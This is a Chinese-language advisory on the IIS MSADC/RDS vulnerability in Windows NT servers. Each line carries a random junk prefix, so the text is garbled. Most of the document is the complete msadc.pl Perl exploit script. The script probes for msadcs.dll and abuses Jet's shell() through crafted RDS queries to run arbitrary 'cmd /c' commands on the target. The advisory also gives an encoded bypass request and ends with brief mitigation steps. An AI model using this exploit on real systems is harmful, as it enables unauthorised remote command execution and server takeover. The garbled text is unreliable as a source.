IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
;) z:fToh u5b|#&-mX 涉及程序：
BLf>_b Uk Microsoft NT server
DGn;m\B ;~ $'2f~U 描述：
tOd&!HYL 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-4IE]'## +R M SA ^ 详细：
+YKi, 如果你没有时间读详细内容的话，就删除:
n& qg;TT c:\Program Files\Common Files\System\Msadc\msadcs.dll
;LP fXpR 有关的安全问题就没有了。
^Hnb }L &P}_bx 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
UapC"XYJ G+"t/?/ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
li'YDtMKCY 关于利用ODBC远程漏洞的描述，请参看:
)9' K($ 7<#U(,YEA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;oKZ!ND 6"5A%{ J 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
6"O+w=5B http://www.microsoft.com/security/bulletins/MS99-025faq.asp qHplJ " H. |#c^I 这里不再论述。
GxI!{oi2 FF(#]vz ' 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
`O!X(( / h H /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
lH x^D;m6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Rn(ec s_OF( o ~IfJwBn-i #将下面这段保存为txt文件，然后: "perl -x 文件名"
tGh~!|P aFb==73aLw #!perl
.B]MpmpK #
IS{wtuA. # MSADC/RDS 'usage' (aka exploit) script
pnowy; #
~Z?TFg
# by rain.forest.puppy
Xq]w<$
#
^Y>F|;M# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
[P=Jw:E # beta test and find errors!
2~1SQ.Q<RY ll<Xz((o use Socket; use Getopt::Std;
^w@%cVh getopts("e:vd:h:XR", \%args);
oWim}Er= FxtQ Xu-g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F|o:W 75 iohop(LZ if (!defined $args{h} && !defined $args{R}) {
T@:Wp4>69 print qq~
Yz/md1T$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
jrlVvzZ -h <host> = host you want to scan (ip or domain)
U9:zVy -d <seconds> = delay between calls, default 1 second
^& t Z -X = dump Index Server path table, if available
9N%We|L,c -v = verbose
0d"[l@U U0 -e = external dictionary file for step 5
qo90t {|c Ustv{:7v Or a -R will resume a command session
uD$u2 hk(ZM#Bh ~; exit;}
<EB+1GFuI [#<-ZC#T* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
@fZ, .2ar if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
I {S;L if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(
iBl if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
G C),N\@Q $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
<CYd+! ( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
j^j1 \:# L) if (!defined $args{R}){ $ret = &has_msadc;
q PX ~@^`9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Sz)' ogl H1pO!>M print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=)H.c uc . "cmd /c ";
w (*vj $in=<STDIN>; chomp $in;
5,Jp[bw{H{ $command="cmd /c " . $in ;
c)TPM/>(p *v
jmy/3 if (defined $args{R}) {&load; exit;}
h:b)Wr nX6u(U print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
B 4c]}r+ &try_btcustmr;
|"X*@s\' 8`q:Gz=M\ print "\nStep 2: Trying to make our own DSN...";
rxgbV. tx &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
=r?hg GWe | C;=-| print "\nStep 3: Trying known DSNs...";
AW%#O\N &known_dsn;
(Y.k8";)` G\/zkrxmv print "\nStep 4: Trying known .mdbs...";
Yh@ JXJ> &known_mdb;
_JzEGpeG n71r_S* if (defined $args{e}){
gq4Tb
c
oA print "\nStep 5: Trying dictionary of DSN names...";
?K$(817 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
M)J5;^[" NR 5gj-B[ print "Sorry Charley...maybe next time?\n";
-j# 2}[J7 exit;
_U Mg[Um v}}F,c(f ##############################################################################
:}L[sl\R b$d;Q x sub sendraw { # ripped and modded from whisker
'%s.^k n sleep($delay); # it's a DoS on the server! At least on mine...
acajHs my ($pstr)=@_;
[i21FX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`quw9j9`C\ die("Socket problems\n");
zsEc( if(connect(S,pack "SnA4x8",2,80,$target)){
9|^2",V select(S); $|=1;
{k>&?Vd! print $pstr; my @in=<S>;
<$ A select(STDOUT); close(S);
m)ky*"( return @in;
. oF
&Ff/[ } else { die("Can't connect...\n"); }}
XV7Ex\D* #px+;k 5 ##############################################################################
VZp5)-!\ ! _] Y~[ sub make_header { # make the HTTP request
''A_[J `> my $msadc=<<EOT
2@ n{yYwy POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[`#CXq' User-Agent: ACTIVEDATA
O%WIf__Q Host: $ip
1![!+X:w Content-Length: $clen
dc+>m,3$ Connection: Keep-Alive
!fV+z%: Fd%#78UEo} ADCClientVersion:01.06
#5 Q pu
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
c ?(4t67| vONasD9At --!ADM!ROX!YOUR!WORLD!
p,EQ#Ik Content-Type: application/x-varg
- P(efYk Content-Length: $reqlen
j nkR}wAA !hA-_ EOT
6+#Ydii9E ; $msadc=~s/\n/\r\n/g;
=m]v8`g return $msadc;}
f&N gS+<K$ -V*R\,> ##############################################################################
,Q3T
Tno
, .Yamc#A- sub make_req { # make the RDS request
m<<+ my ($switch, $p1, $p2)=@_;
?(@
7r_j my $req=""; my $t1, $t2, $query, $dsn;
JU 4 <|5H NlA,'`, if ($switch==1){ # this is the btcustmr.mdb query
oM
X $query="Select * from Customers where City=" . make_shell();
lF<] 8m%F $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N~nziY*C,* $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+ RHS!0 ^rB8? kt elsif ($switch==2){ # this is general make table query
aj-Km`5r} $query="create table AZZ (B int, C varchar(10))";
6B8VfQ9[ $dsn="$p1";}
z 4e7PW| rX U elsif ($switch==3){ # this is general exploit table query
lB8-Z ow $query="select * from AZZ where C=" . make_shell();
I
}a`0Y&{ $dsn="$p1";}
")1:F> DHg :8%3 x elsif ($switch==4){ # attempt to hork file info from index server
y B81f $query="select path from scope()";
*[Imn\hu $dsn="Provider=MSIDXS;";}
H9Gh>u]} R)?*N@.s elsif ($switch==5){ # bad query
0gu_yg! R $query="select";
77 Q5d"sIi $dsn="$p1";}
/m!BY}4W #JqB ;'\ $t1= make_unicode($query);
<X#C)-. $t2= make_unicode($dsn);
^7`BP%6 $req = "\x02\x00\x03\x00";
OW&!at $req.= "\x08\x00" . pack ("S1", length($t1));
~V:\ _{mE $req.= "\x00\x00" . $t1 ;
N_LM/of|D $req.= "\x08\x00" . pack ("S1", length($t2));
WSP I|#Xr% $req.= "\x00\x00" . $t2 ;
8$] 1M,$r $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
n. }Zk G0` return $req;}
7RQR) DG "-E\[@ / ##############################################################################
&.F4 b~A 7 `{8K.(])s! sub make_shell { # this makes the shell() statement
nd`1m[7MNu return "'|shell(\"$command\")|'";}
FBG4pb9=~ K$ z2YJ% ##############################################################################
`C, n0'PL. HRpte= `q sub make_unicode { # quick little function to convert to unicode
f'F?MINJP my ($in)=@_; my $out;
Q*GN`07@?d for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
k x8G return $out;}
`](e:be} NYhB'C2 ##############################################################################
RV1coC.g4x mupT<_Y sub rdo_success { # checks for RDO return success (this is kludge)
ynp 8r f my (@in) = @_; my $base=content_start(@in);
t"sBP LU\ if($in[$base]=~/multipart\/mixed/){
a6 ekG YW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}czrj%6 return 0;}
l&[O .zf~.R;> ##############################################################################
gZVc 5u< &L3M] sub make_dsn { # this makes a DSN for us
"6A
`
q\ my @drives=("c","d","e","f");
{aZ0 ; print "\nMaking DSN: ";
RCJ|P~* foreach $drive (@drives) {
IM*y|UHt print "$drive: ";
g/4[N{Xf my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
%q"%AauJR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
D2 #ZpFp"h . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
V ( }:=eK $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
}YQX~=" return 0 if $2 eq "404"; # not found/doesn't exist
Xa[.3=bV? if($2 eq "200") {
)Dm s foreach $line (@results) {
]43/`FX return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ip\sXVR } return 0;}
z>xmRs
rD tY[ ##############################################################################
K&u _R
1pVS&0W sub verify_exists {
Z<oa K my ($page)=@_;
*9
{PEx my @results=sendraw("GET $page HTTP/1.0\n\n");
b\f
O8{k return $results[0];}
DmK57V4L^ Nd4f^Y ##############################################################################
]dVGUG8 4>Y R{ sub try_btcustmr {
t}_r]E,{u my @drives=("c","d","e","f");
cx,+ k]9D my @dirs=("winnt","winnt35","winnt351","win","windows");
39c2pV[ g_E$=j92v foreach $dir (@dirs) {
?PLPf>e print "$dir -> "; # fun status so you can see progress
. P viA foreach $drive (@drives) {
I]|Pq print "$drive: "; # ditto
oE @a'*.\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&md`$ a/ $reqlenlen=length( "$reqlen" );
OH N _ $clen= 206 + $reqlenlen + $reqlen;
RIR\']WN x %=si[P my @results=sendraw(make_header() . make_req(1,$drive,$dir));
q$L%36u~/ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
a9e>i U else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
2 B1q*`6R P.se'z)E ##############################################################################
85= )lu
rCEyQ)R_} sub odbc_error {
!"AvY y9 my (@in)=@_; my $base;
xa'*P=<)C' my $base = content_start(@in);
Xxj-
6i if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
z9f-.72"X $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]2A^1Del $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;7*[Bcj. $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=}^9 wP return $in[$base+4].$in[$base+5].$in[$base+6];}
6{K,c@VFd print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_`$qBw.Nx print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
U)TUOwF $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
299H$$WS,Z g @Z))M+ ##############################################################################
b1q"!+8y e)IzQ7Zex sub verbose {
>I afUy my ($in)=@_;
te`$%NRl return if !$verbose;
AF{ \6<m print STDOUT "\n$in\n";}
yZ7&b&2nLn (y'hyJo ##############################################################################
zC:AS t b)#hSjWO# sub save {
OG~gFZr)6 my ($p1, $p2, $p3, $p4)=@_;
n)/z0n!\ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
r+!YI k print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
\<h0Q, e close OUT;}
-/B+T>[nTb Z3e| UAif ##############################################################################
/V8 #[9K yqs 4[C sub load {
,oe < my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u]wZQl#- open(IN,"<rds.save") || die("Couldn't open rds.save\n");
k8 yEdi` @p=<IN>; close(IN);
Eh`7X=Z 7E $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Ufj `euY $target= inet_aton($ip) || die("inet_aton problems");
,^r9n [M4M print "Resuming to $ip ...";
.~db4d] $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
KM0ru if($p[1]==1) {
'c&Ed $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
qAr M|\l1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*U- 4Sy my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~G p [_ %K if (rdo_success(@results)){print "Success!\n";}
.<?GS{6
N else { print "failed\n"; verbose(odbc_error(@results));}}
CT@ jZtg0 elsif ($p[1]==3){
Mexk~ z A^ if(run_query("$p[3]")){
;a!S!% .h print "Success!\n";} else { print "failed\n"; }}
P{`C^W$J^ elsif ($p[1]==4){
M7\szv\Zc= if(run_query($drvst . "$p[3]")){
^#-l
q) print "Success!\n"; } else { print "failed\n"; }}
A|[?#S((] exit;}
@u+]aI!`- FZ QP%]FX ##############################################################################
r r %V.r;2 G> _*djUf sub create_table {
2szPAuN+ my ($in)=@_;
GAzU ?a{S $reqlen=length( make_req(2,$in,"") ) - 28;
H'5)UX@LP $reqlenlen=length( "$reqlen" );
uC vj! $clen= 206 + $reqlenlen + $reqlen;
"!P3R1 ;% my @results=sendraw(make_header() . make_req(2,$in,""));
%`r$g[<G return 1 if rdo_success(@results);
b6M[q_ my $temp= odbc_error(@results); verbose($temp);
tFn)aa~L return 1 if $temp=~/Table 'AZZ' already exists/;
unzr0x
{ return 0;}
`7Q<'oK P8
c`fbkX2 ##############################################################################
P:S .~Jq \w>y`\6mX sub known_dsn {
hFUlNJ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5~U/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
2W(s(-hD "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
I|!OY`ko "banner", "banners", "ads", "ADCDemo", "ADCTest");
8%mu8l P5V}#;v foreach $dSn (@dsns) {
/HEw-M9z print ".";
s[*rzoA next if (!is_access("DSN=$dSn"));
#zy :a% if(create_table("DSN=$dSn")){
Es`Px_k print "$dSn successful\n";
DK~x rU' if(run_query("DSN=$dSn")){
~Cttzn]pR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(x|T+c"bAX print "Something's borked. Use verbose next time\n";}}} print "\n";}
G>=*yqo
octL"t8w ##############################################################################
bs&43Ae }K>d+6qk5 sub is_access {
d DMJ' my ($in)=@_;
{?0lBfB" $reqlen=length( make_req(5,$in,"") ) - 28;
3%|&I:tI $reqlenlen=length( "$reqlen" );
i"FtcP^ $clen= 206 + $reqlenlen + $reqlen;
zk+9'r`-D my @results=sendraw(make_header() . make_req(5,$in,""));
P; no? my $temp= odbc_error(@results);
2;b\9R^>A verbose($temp); return 1 if ($temp=~/Microsoft Access/);
S?LQu return 0;}
r<EY]f^`u T{^rt3 a ##############################################################################
bWS&Yk( Fx Y}m sub run_query {
3`?7 <YJ my ($in)=@_;
T<>,lQs( a $reqlen=length( make_req(3,$in,"") ) - 28;
E=Bf1/c\ $reqlenlen=length( "$reqlen" );
Y-z (zS^1 $clen= 206 + $reqlenlen + $reqlen;
\l 0[rcEf my @results=sendraw(make_header() . make_req(3,$in,""));
=%O6:YM
return 1 if rdo_success(@results);
fb vL7*
( my $temp= odbc_error(@results); verbose($temp);
/s?`&1v|r return 0;}
A\DC W DfD&) tsMQ ##############################################################################
^
+\d z #%2rP'He sub known_mdb {
W*:.Gxv] my @drives=("c","d","e","f","g");
6_;ic pN] my @dirs=("winnt","winnt35","winnt351","win","windows");
MchA{p&Ol my $dir, $drive, $mdb;
{Mk6T1Bkq my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`(;m?<% /}Axf"O E # this is sparse, because I don't know of many
|-ALklXr my @sysmdbs=( "\\catroot\\icatalog.mdb",
Rv>-4@fMJ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
t}4, ]m s "\\system32\\certmdb.mdb",
Y h7t"=o "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,qwuLBW Dy&i&5E.-l my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
= svN#q5s "\\cfusion\\cfapps\\forums\\forums_.mdb",
lVa%$F{Pq "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
j;r-NCBnz "\\cfusion\\cfapps\\security\\realm_.mdb",
{Xy5pfW
Q "\\cfusion\\cfapps\\security\\data\\realm.mdb",
4_lrg|X1 "\\cfusion\\database\\cfexamples.mdb",
1I6px$^E\ "\\cfusion\\database\\cfsnippets.mdb",
Y@iS_lR "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
.Hm>i "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>:!5*E5? "\\cfusion\\brighttiger\\database\\cleam.mdb",
/nsX]V6i "\\cfusion\\database\\smpolicy.mdb",
pki%vRY "\\cfusion\\database\cypress.mdb",
r5/0u(\LB "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
T>Z<]s "\\website\\cgi-win\\dbsample.mdb",
T::85 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|r/"
|` "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
V0 YZp ); #these are just
F(n$ foreach $drive (@drives) {
H?W ya.7 foreach $dir (@dirs){
gQuw 1 foreach $mdb (@sysmdbs) {
kD%( _K5 print ".";
i]4I [! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
n@i HFBb print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
WwFm*4{[o if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
r6qj7}\ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
z<;HQX, } else { print "Something's borked. Use verbose next time\n"; }}}}}
Or+U@vAnk _[3D foreach $drive (@drives) {
+sA2WK] foreach $mdb (@mdbs) {
|df Pki{ print ".";
5qm`J,~ k if(create_table($drv . $drive . $dir . $mdb)){
:Yl-w-oe print "\n" . $drive . $dir . $mdb . " successful\n";
=nS3p6>rZ if(run_query($drv . $drive . $dir . $mdb)){
;'K5J 9k print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
TdM ruSY } else { print "Something's borked. Use verbose next time\n"; }}}}
*fxG?}YT }
@. l@\4m T -2t.X s ##############################################################################
aXYY:; Y .UFbrv sub hork_idx {
'H !Uh]! print "\nAttempting to dump Index Server tables...\n";
R n[ cW5Y< print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
am'7uy!ka~ $reqlen=length( make_req(4,"","") ) - 28;
x9g#<2 w8 $reqlenlen=length( "$reqlen" );
X_h}J=33Q $clen= 206 + $reqlenlen + $reqlen;
cT,sh~-x, my @results=sendraw2(make_header() . make_req(4,"",""));
bE . .P&" if (rdo_success(@results)){
4$<JHo
@. my $max=@results; my $c; my %d;
cq]6XK-W for($c=19; $c<$max; $c++){
~
7s!VR $results[$c]=~s/\x00//g;
q9_OGd|P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
* u>\57W $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
o.!Dq7 R $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
M }D}K\) $d{"$1$2"}="";}
2ilQXy foreach $c (keys %d){ print "$c\n"; }
vE?G7%, } else {print "Index server doesn't seem to be installed.\n"; }}
HV|,}Wks6s r19
pZAc ##############################################################################
h]gp ^?= n>YKa)|W` sub dsn_dict {
NLq zi%s open(IN, "<$args{e}") || die("Can't open external dictionary\n");
a=2%4Wmz while(<IN>){
CdQ!GS<'y $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
t{96p77)= next if (!is_access("DSN=$dSn"));
H{wl% G if(create_table("DSN=$dSn")){
/4Gt{yg Sr print "$dSn successful\n";
5j(k:a+!H if(run_query("DSN=$dSn")){
~>|ziHx print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8 Z~EwY* print "Something's borked. Use verbose next time\n";}}}
iBa A9 print "\n"; close(IN);}
$& td=OK e"<OELA ##############################################################################
VPo".BvG6 ,z jv7$L sub sendraw2 { # ripped and modded from whisker
":ue-=&M sleep($delay); # it's a DoS on the server! At least on mine...
MTn{ d my ($pstr)=@_;
(<9u-HF# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]=BB# die("Socket problems\n");
[W&T(%(W- if(connect(S,pack "SnA4x8",2,80,$target)){
S9.o/mr print "Connected. Getting data";
4pvMd open(OUT,">raw.out"); my @in;
hgq;`_;1, select(S); $|=1; print $pstr;
Z ECfR>`x while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
e^voW "?% close(OUT); select(STDOUT); close(S); return @in;
H:| uw } else { die("Can't connect...\n"); }}
9'B `]/L WyiQoN'q ##############################################################################
|6- n bj 2>%=U~5 sub content_start { # this will take in the server headers
HR A|q my (@in)=@_; my $c;
<h yK u
for ($c=1;$c<500;$c++) {
GbI/4<)l} if($in[$c] =~/^\x0d\x0a/){
a7opC mL if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
{l@ {FUv else { return $c+1; }}}
^cWnF0)j. return -1;} # it should never get here actually
oB7_O-3z _[BP 0\dPW ##############################################################################
hZb_P\1X /n&&Um\ sub funky {
:2`e(+Uz my (@in)=@_; my $error=odbc_error(@in);
,P0) 6> if($error=~/ADO could not find the specified provider/){
8s@3hXD& print "\nServer returned an ADO miscofiguration message\nAborting.\n";
>t+P (*u exit;}
nw<uyaU-t if($error=~/A Handler is required/){
[a(#1 print "\nServer has custom handler filters (they most likely are patched)\n";
xm oxZW: exit;}
:3 mh@[V if($error=~/specified Handler has denied Access/){
+}AI@+
print "\nServer has custom handler filters (they most likely are patched)\n";
"AqB$^S9t exit;}}
;^L(^Hx -~w'Xo # ##############################################################################
$??I/6 H PVEnVn sub has_msadc {
2=}FBA, 2 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
x 8|J-8A( my $base=content_start(@results);
Hl=xW/%6y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
2\$oV return 0;}
BgT*icd8d c71y'hnT ########################
dE3) | % | -H& o] Id9TG/H7 解决方案：
er\|i. Y 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
L ~3Pm%{@A 2、移除web 目录: /msadc
